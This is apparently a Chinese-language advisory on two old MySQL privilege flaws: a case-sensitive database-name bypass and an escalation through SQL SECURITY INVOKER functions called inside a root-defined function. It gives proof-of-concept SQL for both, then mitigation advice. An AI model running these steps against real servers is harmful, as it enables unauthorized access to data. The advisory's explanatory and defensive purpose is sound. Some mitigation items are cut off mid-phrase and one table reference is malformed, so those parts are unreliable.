MySQL 5.1.10 及更早版本存在兩個嚴重安全缺陷,允許低權限使用者提升權限或繞過存取控制。受影響系統需運行於支援大小寫敏感檔案系統的作業系統 (如 Linux/Unix)。
成因:MySQL 以資料目錄下的目錄名代表資料庫名稱。在大小寫敏感的檔案系統上,sample 與 sAmple 為不同目錄。若使用者擁有 sample 資料庫的存取權,但無 CREATE DATABASE 全域權限,仍可建立 sAmple (僅大小寫不同) 並獲得完整控制權。
mysql> CREATE DATABASE another; -- ERROR 1044: Access denied
mysql> CREATE DATABASE sAmple; -- Query OK, 1 row affected
成因:MySQL 存儲函數/程序支援 SQL SECURITY DEFINER (預設) 與 INVOKER。攻擊者若擁有對某 DEFINER=root 函數的 EXECUTE 權限,可建立惡意函數 f_evil() 在 INVOKER 安全語境下執行敏感查詢,再透過 SELECT f_suid(f_evil()) 將其包裝在受信任函數 f_suid 內呼叫,導致 f_evil 以 f_suid 定義者 (如 root) 權限執行,竊取無權存取資料表的資料。
-- 建立受信任函數 (DEFINER=root)
CREATE FUNCTION f_suid(i INT) RETURNS INT RETURN 0;
GRANT EXECUTE ON FUNCTION test.f_suid TO malory@localhost;
-- 攻擊者建立惡意函數 (SQL SECURITY INVOKER)
CREATE FUNCTION f_evil() RETURNS INT
SQL SECURITY INVOKER
BEGIN
SET @a := CURRENT_USER();
SET @b := (SELECT COUNT(*) FROM mysql.test2.t1); -- 無權存取的表
RETURN 0;
END;
-- 透過受信任函數間接呼叫,提升權限
SELECT test.f_suid(f_evil()); -- @b 將包含竊取的資料
CREATE ROUTINE 與 EXECUTE 權限,避免授予非必要使用者。DEFINER 與 SQL SECURITY 設定,移除可疑物件。此漏洞揭示了 MySQL 權限模型在檔案系統語意與存儲程序安全語境交互時的缺陷。資料庫管理員應定期審計權限、及時套用安全更新,並遵循最小權限原則配置帳號。